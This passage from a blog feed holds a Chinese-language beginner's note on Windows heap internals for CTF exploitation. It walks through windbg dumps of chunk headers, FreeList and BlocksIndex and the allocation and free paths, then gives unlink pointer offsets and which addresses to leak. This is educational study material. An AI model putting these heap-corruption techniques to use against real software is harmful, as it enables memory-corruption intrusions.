class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">2:007&gt; dt ntdll!_HEAP_ENTRY</span><br><span class="line">   +0x000 UnpackedEntry    : _HEAP_UNPACKED_ENTRY</span><br><span class="line">   +0x000 Size             : Uint2B</span><br><span class="line">   +0x002 Flags            : UChar</span><br><span class="line">   +0x003 SmallTagIndex    : UChar</span><br><span class="line">   +0x000 SubSegmentCode   : Uint4B</span><br><span class="line">   +0x004 PreviousSize     : Uint2B</span><br><span class="line">   +0x006 SegmentOffset    : UChar</span><br><span class="line">   +0x006 LFHFlags         : UChar</span><br><span class="line">   +0x007 UnusedBytes      : UChar</span><br><span class="line">   +0x000 ExtendedEntry    : _HEAP_EXTENDED_ENTRY</span><br><span class="line">   +0x000 FunctionIndex    : Uint2B</span><br><span class="line">   +0x002 ContextValue     : Uint2B</span><br><span class="line">   +0x000 InterceptorValue : Uint4B</span><br><span class="line">   +0x004 UnusedBytesLength : Uint2B</span><br><span class="line">   +0x006 EntryOffset      : UChar</span><br><span class="line">   +0x007 ExtendedBlockSignature : UChar</span><br><span class="line">   +0x000 Code1            : Uint4B</span><br><span class="line">   +0x004 Code2            : Uint2B</span><br><span class="line">   +0x006 Code3            : UChar</span><br><span class="line">   +0x007 Code4            : UChar</span><br><span class="line">   +0x004 Code234          : Uint4B</span><br><span class="line">   +0x000 AgregateCode     : Uint8B</span><br></pre></td></tr></table></figure><p>这里我们关注如下的结构体：</p><ul><li>PreviousBlockPrivateData（8 byte）: 结构体中未显示，是上一个堆块的数据。</li><li>Size: 当前堆块的大小（向右移了3个字节）</li><li>Flag：当前的堆块是否busy（被使用）</li><li>SmallTagIndex: 和开头的三个字节异或，作为checknumber，用于verify当前的chunk</li><li>PreviousSize：上一个堆块的大小，这个值同样也是右移了三个字节</li><li>UnusedBytes：当分配了当前chunk之后，当前堆还剩余的大小，这个值通常用来检查当前chunk的状态</li></ul><p>从偏移量<code>+0x8</code>开始就是userdata</p><p>如果是free的堆块的话，则可能还有如下两个字段：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">+0x008 FLink</span><br><span class="line">+0x00c Blink</span><br></pre></td></tr></table></figure><p>Flink指向下一个在链表中的堆，Blink指向前一个在链表中的堆。此时的<code>UnusedBytes</code>必须要为0</p><p>如果是VirualAlloc分配的堆的话，它的结构如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">2:007&gt; dt ntdll!_HEAP_VIRTUAL_ALLOC_ENTRY</span><br><span class="line">   +0x000 Entry            : _LIST_ENTRY</span><br><span class="line">   +0x000 Flink            : Ptr32 _LIST_ENTRY</span><br><span class="line">   +0x004 Blink            : Ptr32 _LIST_ENTRY</span><br><span class="line">   +0x008 ExtraStuff       : _HEAP_ENTRY_EXTRA</span><br><span class="line">   +0x010 CommitSize       : Uint4B</span><br><span class="line">   +0x014 ReserveSize      : Uint4B</span><br><span class="line">   +0x018 BusyBlock        : _HEAP_ENTRY</span><br></pre></td></tr></table></figure><p>这种heap分配的堆在使用中就会用链表记录分配的堆情况。同时，在这个结构体中记录的size<strong>将会是未发生过位移的大小</strong>。并且这里的<code>UnusedByte</code>必须要为4</p><h3 id="freelist">FreeList</h3><p>当存在被释放的堆块的时候，内存中形式如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">       HEAP</span><br><span class="line">0x80</span><br><span class="line">+----------------+</span><br><span class="line">|    Encoding    |</span><br><span class="line">+----------------+</span><br><span class="line">     .......                                         +----------------+</span><br><span class="line">0x150                                                | Previous Data  |</span><br><span class="line">+----------------+          Not really chunk         +----------------+</span><br><span class="line">|    FreeList    | ------&gt; +----------------+        |  chunk header  |</span><br><span class="line">+----------------+         |      Flink     |  -----&gt;+----------------+</span><br><span class="line">                           +----------------+        |     Flink      |-----+</span><br><span class="line">                           |      Blink     |        +----------------+     |</span><br><span class="line">                           +----------------+        |     Blink      |     |</span><br><span class="line">                                    ^    |           +----------------+     |</span><br><span class="line">                                    |    |                                  |</span><br><span class="line">                                    |    |           +----------------+     |</span><br><span class="line">                                    |    |           | Previous Data  |     |</span><br><span class="line">                                    |    |           +----------------+     |</span><br><span class="line">                                    |    |           |  chunk header  |     |</span><br><span class="line">                                    |    +----------&gt;+----------------+&lt;----+</span><br><span class="line">                                    |                |     Flink      |-----+</span><br><span class="line">                                    |                +----------------+     |</span><br><span class="line">                                    |                |     Blink      |     |</span><br><span class="line">                                    |                +----------------+     |</span><br><span class="line">                                    +---------------------------------------+</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">```         </span><br><span class="line">PS:                                                                </span><br><span class="line">_Blink的线会和Flink交错，就不画出来了，方向和上一个chunk的顺序是反过来的_</span><br><span class="line"></span><br><span class="line">我们这边用一个简单的代码来说明一下这个过程:</span><br><span class="line">```cpp</span><br><span class="line">HANDLE hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);</span><br><span class="line">PVOID heap[5];</span><br><span class="line">heap[0] = HeapAlloc(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 0x80);</span><br><span class="line">heap[1] = HeapAlloc(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 0x80);</span><br><span class="line">heap[2] = HeapAlloc(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 0x80);</span><br><span class="line">heap[3] = HeapAlloc(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 0x80);</span><br><span class="line">for (int i = 0; i &lt; 4; i++) &#123;</span><br><span class="line">    printf(&quot;%d: [0x%x]\n&quot;, i, heap[i]);</span><br><span class="line">&#125;</span><br><span class="line">// now will free heap</span><br><span class="line">HeapFree(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, heap[0]);</span><br><span class="line">// we don&#x27;t know if it will merge... just reserve 1</span><br><span class="line">HeapFree(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, heap[2]);</span><br></pre></td></tr></table></figure><p>这边打印的堆地址如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0: [0x18f0498]</span><br><span class="line">1: [0x18f0530]</span><br><span class="line">2: [0x18f05c8]</span><br><span class="line">3: [0x18f0660]</span><br></pre></td></tr></table></figure><p>代码后面，<code>heap[0],heap[2]</code>都被我们释放了，所以应该可以形成如上的链表。如果我们用windbg，从内存中去看的<code>_HEAP_ENTRY</code>的话，可能会有一点奇怪的感觉:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">0:001&gt; dt _HEAP_FREE_ENTRY 0x18f0490</span><br><span class="line">ntdll!_HEAP_FREE_ENTRY</span><br><span class="line">   +0x000 HeapEntry        : _HEAP_ENTRY</span><br><span class="line">   +0x000 UnpackedEntry    : _HEAP_UNPACKED_ENTRY</span><br><span class="line">   +0x000 Size             : 0xe91</span><br><span class="line">   +0x002 Flags            : 0xf2 &#x27;&#x27;</span><br><span class="line">   +0x003 SmallTagIndex    : 0x79 &#x27;y&#x27;</span><br><span class="line">   +0x000 SubSegmentCode   : 0x79f20e91</span><br><span class="line">   +0x004 PreviousSize     : 0xef60</span><br><span class="line">   +0x006 SegmentOffset    : 0 &#x27;&#x27;</span><br><span class="line">   +0x006 LFHFlags         : 0 &#x27;&#x27;</span><br><span class="line">   +0x007 UnusedBytes      : 0 &#x27;&#x27;</span><br><span class="line">   +0x000 ExtendedEntry    : _HEAP_EXTENDED_ENTRY</span><br><span class="line">   +0x000 FunctionIndex    : 0xe91</span><br><span class="line">   +0x002 ContextValue     : 0x79f2</span><br><span class="line">   +0x000 InterceptorValue : 0x79f20e91</span><br><span class="line">   +0x004 UnusedBytesLength : 0xef60</span><br><span class="line">   +0x006 EntryOffset      : 0 &#x27;&#x27;</span><br><span class="line">   +0x007 ExtendedBlockSignature : 0 &#x27;&#x27;</span><br><span class="line">   +0x000 Code1            : 0x79f20e91</span><br><span class="line">   +0x004 Code2            : 0xef60</span><br><span class="line">   +0x006 Code3            : 0 &#x27;&#x27;</span><br><span class="line">   +0x007 Code4            : 0 &#x27;&#x27;</span><br><span class="line">   +0x004 Code234          : 0xef60</span><br><span class="line">   +0x000 AgregateCode     : 0x0000ef60`79f20e91</span><br><span class="line">   +0x008 FreeList         : _LIST_ENTRY [ 0x18f06f8 - 0x18f05c8 ]</span><br></pre></td></tr></table></figure><p>可以看到，<code>FreeList</code>似乎是正确的，我们追踪一下内存会发现确实没有问题:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0:001&gt; dd 0x18f0498 &lt;----- heap[0]</span><br><span class="line">018f0498  018f06f8 018f05c8 feeefeee feeefeee</span><br><span class="line">0:001&gt; dd 0x18f05c8 &lt;----- heap[2]</span><br><span class="line">018f05c8  018f0498 018f00c0 feeefeee feeefeee</span><br><span class="line">0:001&gt; dd 0x18f00c0 &lt;----- FreeList empty block</span><br><span class="line">018f00c0  018f05c8 018f06f8 00000000 57da77c4</span><br></pre></td></tr></table></figure><p>但是这个<code>_HEAP_ENTRY</code>好像有点怪怪的，因为我们申请的堆块大小似乎不是<code>0xe91</code>，而是<code>0x80</code>。这是因为这个时候的<code>chunk header</code>被<code>_HEAP.Encoding</code>加密过。为了得到真正的header，我们需要将这个值修改一下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">6ef60e82为Encoding中的值</span><br><span class="line">0:001&gt; ?6ef60e82^79f20e91</span><br><span class="line">Evaluate expression: 386138131 = 17040013</span><br><span class="line">0:001&gt; ?0000ef60^6ef60e82</span><br><span class="line">Evaluate expression: 1861673442 = 6ef6e1e2</span><br><span class="line">0:001&gt; ed  018f0490 17040013</span><br><span class="line">0:001&gt; ed  018f0494 6ef6e1e2</span><br><span class="line">0:001&gt; dt _HEAP_ENTRY 0x18f0490</span><br><span class="line">ntdll!_HEAP_ENTRY</span><br><span class="line">   +0x000 UnpackedEntry    : _HEAP_UNPACKED_ENTRY</span><br><span class="line">   +0x000 Size             : 0x13</span><br><span class="line">   +0x002 Flags            : 0x4 &#x27;&#x27;</span><br><span class="line">   +0x003 SmallTagIndex    : 0x17 &#x27;&#x27;</span><br><span class="line">   +0x000 SubSegmentCode   : 0x17040013</span><br><span class="line">   +0x004 PreviousSize     : 0xe1e2</span><br><span class="line">   +0x006 SegmentOffset    : 0xf6 &#x27;&#x27;</span><br><span class="line">   +0x006 LFHFlags         : 0xf6 &#x27;&#x27;</span><br><span class="line">   +0x007 UnusedBytes      : 0x6e &#x27;n&#x27;</span><br><span class="line">   +0x000 ExtendedEntry    : _HEAP_EXTENDED_ENTRY</span><br><span class="line">   +0x000 FunctionIndex    : 0x13</span><br><span class="line">   +0x002 ContextValue     : 0x1704</span><br><span class="line">   +0x000 InterceptorValue : 0x17040013</span><br><span class="line">   +0x004 UnusedBytesLength : 0xe1e2</span><br><span class="line">   +0x006 EntryOffset      : 0xf6 &#x27;&#x27;</span><br><span class="line">   +0x007 ExtendedBlockSignature : 0x6e &#x27;n&#x27;</span><br><span class="line">   +0x000 Code1            : 0x17040013</span><br><span class="line">   +0x004 Code2            : 0xe1e2</span><br><span class="line">   +0x006 Code3            : 0xf6 &#x27;&#x27;</span><br><span class="line">   +0x007 Code4            : 0x6e &#x27;n&#x27;</span><br><span class="line">   +0x004 Code234          : 0x6ef6e1e2</span><br><span class="line">   +0x000 AgregateCode     : 0x6ef6e1e2`17040013</span><br></pre></td></tr></table></figure><p>这次看过来，首先我们知道开头的三个字节是需要过checknum的，我们确认一下<code>0x13^0x00^0x4 -&gt; 0x17</code>，也就是说<code>SmallTagIndex</code>的验证是能通过的，说明这个就是我们此时的<code>chunk header</code>。然后我们计算一下我们这个chunk的size，为<code>0x13*8-&gt;0x98</code><br>有点奇怪？我们申请的应该是0x80才对呀，不过看到分配的地址:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0: [0x18f0498]</span><br><span class="line">1: [0x18f0530]</span><br><span class="line">0x18f0498+0x98=0x18f0530</span><br></pre></td></tr></table></figure><p>说明大小是没错的，这个大小和我们申请有出入<strong>其实是因为我们申请的大小正好导致堆没有16字节地址对齐，同时没有把chunk header以及 PreviuseBlockPrivateData计算进去导致的</strong>。<code>sizeof(chunkheader)=8, previouse data=8</code>，如果按照(0x90)申请的话，chunk地址空间正好为<code>0x18f0520</code></p><p>使用插件指令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">!heap -a &lt;--  列出所有的堆 或者 !haep -i heap &lt;--- 指定堆</span><br><span class="line"></span><br><span class="line">然后</span><br><span class="line">!heap -i heap entry address &lt;---指定堆地址</span><br></pre></td></tr></table></figure><p>可以直接看到解密之后的堆信息，如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0:004&gt; !heap -a</span><br><span class="line">0:004&gt; !heap -i 01690528    &lt;--- 真实分配的地址-sizeof(chunkheader)</span><br><span class="line">Detailed information for block entry 01690528</span><br><span class="line">Assumed heap       : 0x01690000 (Use !heap -i NewHeapHandle to change)</span><br><span class="line">Header content     : 0xDC7A7744 0x18004F36 (decoded : 0x14070013 0x18000013)</span><br><span class="line">Owning segment     : 0x01690000 (offset 0)</span><br><span class="line">Block flags        : 0x7 (busy extra fill )</span><br><span class="line">Total block size   : 0x13 units (0x98 bytes)</span><br><span class="line">Requested size     : 0x80 bytes (unused 0x18 bytes)</span><br><span class="line">Previous block size: 0x13 units (0x98 bytes)</span><br><span class="line">Block CRC          : OK - 0x14  </span><br><span class="line">Previous block     : 0x01690490</span><br><span class="line">Next block         : 0x016905c0</span><br></pre></td></tr></table></figure><h2 id="blocksindex-heap-list-lookup">BlocksIndex（_HEAP_LIST_LOOKUP)</h2><p>用于管理不同大小的被free之后的堆块，这类堆块就和<code>fastbin</code>类似，不会被merge（？）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">0:004&gt; dt _HEAP_LIST_LOOKUP</span><br><span class="line">ntdll!_HEAP_LIST_LOOKUP</span><br><span class="line">   +0x000 ExtendedLookup   : Ptr32 _HEAP_LIST_LOOKUP</span><br><span class="line">   +0x004 ArraySize        : Uint4B</span><br><span class="line">   +0x008 ExtraItem        : Uint4B</span><br><span class="line">   +0x00c ItemCount        : Uint4B</span><br><span class="line">   +0x010 OutOfRangeItems  : Uint4B</span><br><span class="line">   +0x014 BaseIndex        : Uint4B</span><br><span class="line">   +0x018 ListHead         : Ptr32 _LIST_ENTRY</span><br><span class="line">   +0x01c ListsInUseUlong  : Ptr32 Uint4B</span><br><span class="line">   +0x020 ListHints        : Ptr32 Ptr32 _LIST_ENTRY</span><br></pre></td></tr></table></figure><ul><li>ExtendedLookup: 指向下一个<code>ExtendedLookup</code>，下一个<code>BlocksIndex</code>将会管理更加大的<code>chunks</code></li><li>ArraySize: 当前<code>BlocksIndex</code>将会管理的最大的chunk的大小<ul><li>第一个<code>BlocksIndex</code>的<code>ArraySize</code>大小为0x80（实际上为0x800）</li></ul></li><li>ItemCount: 当前大小的chunks的数量</li><li>OutofRangeItems: 超过了当前BlocksIndex管理的chunks大小的chunk的数量</li><li>BeseIndex: 在<code>Blocksindex</code>中起始的chunk的index。<ul><li>通常可以用来在<code>ListHint</code>中找到合适的空闲堆块</li><li>下一个<code>BlocksIndex</code>中的<code>BaseIndex</code>为当前<code>BaseIndex</code>中的最大值</li></ul></li><li>ListHead(<code>_HEAP_ENTRY</code>): FreeList的Head</li><li>ListsInUseUlong: 是一个bitmap，用来确定当前ListHint中是否有合适的chunk</li><li>ListHint: 是一个指针数组，其中每一个指针将会指向对应大小的chunk 数组<ul><li>这个结构体能够帮助更快的找到对应的chunk</li><li>chunk的间隔为0x10，即是chunk大小为0x20, 0x30 …</li></ul></li></ul><h3 id="实例：blocksindex的使用">实例：BlocksIndex的使用</h3><p>我们将代码修改一下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">heap[<span class="number">0</span>] = <span class="built_in">HeapAlloc</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, <span class="number">0x80</span>);</span><br><span class="line">heap[<span class="number">1</span>] = <span class="built_in">HeapAlloc</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, <span class="number">0x1</span>);</span><br><span class="line">heap[<span class="number">2</span>] = <span class="built_in">HeapAlloc</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, <span class="number">0x80</span>);</span><br><span class="line">heap[<span class="number">3</span>] = <span class="built_in">HeapAlloc</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, <span class="number">0x90</span>);</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">4</span>; i++) &#123;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">&quot;%d: [0x%x]\n&quot;</span>, i, heap[i]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;check the alloc heap~&quot;</span>);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br><span class="line"><span class="comment">// now will free heap</span></span><br><span class="line"><span class="built_in">HeapFree</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, heap[<span class="number">0</span>]);</span><br><span class="line"><span class="comment">// we don&#x27;t know if it will merge... just reserve 1</span></span><br><span class="line"><span class="built_in">HeapFree</span>(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, heap[<span class="number">2</span>]);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;ok please debug it~&quot;</span>);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br></pre></td></tr></table></figure><p>打印堆内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0: [0x1110498]</span><br><span class="line">1: [0x1110530]</span><br><span class="line">2: [0x1110550]</span><br><span class="line">3: [0x11105e8]</span><br></pre></td></tr></table></figure><p>此时的场景为：</p><ul><li>有两个堆被free了，大小一致</li><li>两个堆大小均为 0x80</li><li><code>heap[0]</code>早于<code>heap[2]</code>被free</li></ul><p>知道了上述三个条件之后，我们来看一下内存布局，大致如下:<br><img src="/2020/07/14/WindowsHeap101/winheap01.png" alt=""></p><ul><li>BlocksIndex中的ListHead中存放了指向<code>_HEAP</code>中FreeList(<code>_HEAP</code>+0xc0)的指针</li><li><code>ListHint[0x13]</code>中存放的正好是指向大小为<code>0x13*8=0x98</code>的chunk的地址</li><li>ListHint中记录的是<strong>后面释放的那个堆</strong>，也就是说堆块相当于是<strong>队列的形式进入FreeList中的</strong></li><li>ListsUlong 的值为0x80000，如果从0开始数的话，正好是下标为0x13的地方为1，象征着<code>ListHint[13]</code>不为空</li></ul><h2 id="内存分配">内存分配</h2><p>堆的分配大致可以分为三种不同的分配方式:</p><ul><li><code>size&lt;=0x4000</code></li><li><code>0x4000&lt;size&lt;=0xff000</code></li><li><code>size&gt;0xff000</code></li></ul><p>分配内存主要由API<code>RtlAllocateHeap</code>实现，我们分别介绍三种不同的堆块的分配方式</p><h3 id="size-0x4000">Size &lt;= 0x4000</h3><ol><li>首先需要check FrontEndHeapStatusBitmap对应大小的标志位是否有设置（如果设置了，那么分配的堆块将会是LFH的）</li><li>如果没有设置的话，在<code>FrontEndHeapUsageData</code>上加上0x21<br>2.1 检查当前的值是否超过了0xff00 ，或者&amp;0x1f之后，是否大于0x10<br>2.2 如果2.1成立，那么此时还是使用LFH</li><li>检查ListHint 对应的大小是否有值。如果为证，那么将会把ListHint中对应的第一个chunk取出来<br>3.1 如果此时ListHint中大小正好合适，那么直接从ListHint中移除，然后确认chunk中Flink中是否为大小chunk<br>3.2 3.1为真的时候，将ListHint中的值替换成Flink的值<br>3.3 否则，清除ListHint<br>3.4 最后，从chunk的链表中unlink这个chunk<br>3.5 如果3.1 找不到合适大小的chunk，那么首先在ListHint中寻找比当前size更到的chunk是否有合适的大小<br>3.6 如果3.5找到了，那么将那个chunk从ListHint中移除，并且将chunk切分，并且将剩下的chunk重新插入到FreeList中，并且把其放入ListHint<br>3.7 如果3.5找不到，那么就调用ExtendHeap，扩展堆大小，然后从中挑选和是的堆大小。</li></ol><h3 id="0x4000-size-0xff000">0x4000 &lt; size &lt;= 0xff000</h3><p>除了LFH相关的操作，其他的操作和]<code>Size &lt;= 0x4000</code>堆分配大小一样。</p><h3 id="size-0xff000-virtualmemorythredshold-4">Size &gt; 0xff000 (VirtualMemoryThredshold &lt;&lt; 4)</h3><ul><li>使用<code>ZwAllocateVirtualMenmory</code>来直接分配堆</li><li>与mmap相似，也是分配一个大的内存堆块，然后将其插入到<code>_HEAP-&gt;VirtualAllocdBlocks</code></li><li><code>_HEAP-&gt;VirtualAllocdBlocks</code>是一个链表，用来管理后端堆使用<code>VirualAllocate</code>分配的堆块</li></ul><h2 id="内存释放">内存释放</h2><p>内存释放的话，主要分为两种情况</p><ul><li><code>Size &lt;= 0xff000</code></li><li><code>Sizeo &gt; 0xff000</code></li></ul><h3 id="size-0xff000">Size &lt;= 0xff000</h3><ol><li>首先检查当前堆块的对齐情况，并且使用unused byte来确认当前堆块的状态<br>1.1 如果LFH是disable的状态，那么将<code>FrontEndHeapUsageData-1</code><br>1.2 之后check上一个chunk或者下一个chunk（内存相邻的）的堆块是否是freed的状态，如果是的话，合并这些堆块<br>1.3 如果1.2 发生了合并，那么unlink这些chunk，并且从ListHint中移除<br>1.4 如果1.2 发生了合并，那么更新当前的size和presize，并且检查这个chunk是否是FreeList的第一个/最后一个chunk。如果是的话，重新插入到FreeList中，否则的话插入ListHint，并且将其更新。<br>1.5 当发生插入的时候，将会检查链表的完整性（flink-&gt;blink = blink-&gt;flink），但是这个check并不会终止进程</li></ol><h3 id="size-0xff000">Size &gt; 0xff000</h3><ol><li>检查链表完整性，并且从<code>_HEAP-&gt;VirtualAllcdBlocks</code>中取出来</li><li>然后使用<code>RltSecMemFreeVirtualMemory</code>来取消对这段内存的映射</li></ol><h3 id="unlink">Unlink</h3><ol><li>基本上和linux下的unlink是一样的，<a href="http://showlinkroom.me/2017/01/30/heap-overflow/">可以模仿这里</a><br>最重要的是要模仿free过程中的check过程，但是Windows比较麻烦的是要能够保证checksum那个check要能够通过，所以最好还是有一个任意地址写比较方便。其次，与linux上的unlink区别是，windows计算freelist的时候，<strong>是不会将heap的头部计算进去的</strong>，所以不能无脑套公式，区别如下:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// Linux</span><br><span class="line">fd = &amp;block-0xc</span><br><span class="line">bk = &amp;block-0x8</span><br><span class="line"></span><br><span class="line">// Windows</span><br><span class="line">fd = &amp;block-0x4</span><br><span class="line">bk = &amp;block</span><br></pre></td></tr></table></figure><h2 id="leak">Leak</h2><p>Windows heap pwn的话，主要考虑leak如下的内容</p><ul><li>kernelbase</li><li>KERNELBASE!BasepFilterInfo</li><li>stack address</li></ul><h3 id="ntdll-dll">ntdll.dll</h3><p>这个模块下主要要泄露的内容有</p><ul><li><p><code>_HEAP_LOCK</code></p><ul><li><code>_HEAP-&gt;LockVariable.Lock</code></li><li><code>CriticalSection-&gt;DebugInfo</code></li><li>指向ntdll的指针</li></ul></li><li><p><code>PebLdr</code></p><ul><li><code>_PEB_LDR_DATA</code></li><li>找到dll的所有位置</li><li>然而，缺点是最后的两个字节通常是0</li><li>可以线找到binary base地址，然后从IAT中找到kernel32</li></ul></li><li><p><code>BinaryBase</code></p><ul><li>可以从IAT中找到kernel32的地址</li></ul></li></ul><h3 id="kernel32">Kernel32</h3><p>这是一个很重要的dll，在这里能够找到很多有用的函数，并且能够从IAT中找到kernelbase.dll的地址</p><h3 id="kernelbase">kernelbase</h3><ul><li><p><code>Kernelbase!BasepFilterInfo</code></p><ul><li>指向堆的指针</li><li>能够大概率的在这个结构体中找到栈指针</li></ul></li><li><p>如果<code>BasepFilterInfo</code>找不到stack的地址的话，那么可以从TEB找到地址。这个TEB地址通常会PEB在同一个页面中。</p></li></ul><h3 id="踩坑">踩坑</h3><p>最近windbg下载符号的时候好像是被墙了，这里需要在系统环境变量中添加<code>_NT_SYMBOL_PROXY</code>：本地代理地址，然后重启windbg即可下载符号。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;基本上是照搬AngelBoy大师傅的&lt;a href=&quot;https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400&quot;&gt;slides&lt;/a&gt;，纯新手用的Windows heap笔记…&lt;/p&gt;
&lt;h2 id=&quot;more-windows-heap-101&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>Windows Via C/C++ note 4_2</title>
    <link href="https://showlinkroom.me/2020/05/02/Windows-Via-C-C-note-4-2/"/>
    <id>https://showlinkroom.me/2020/05/02/Windows-Via-C-C-note-4-2/</id>
    <published>2020-05-02T03:48:40.000Z</published>
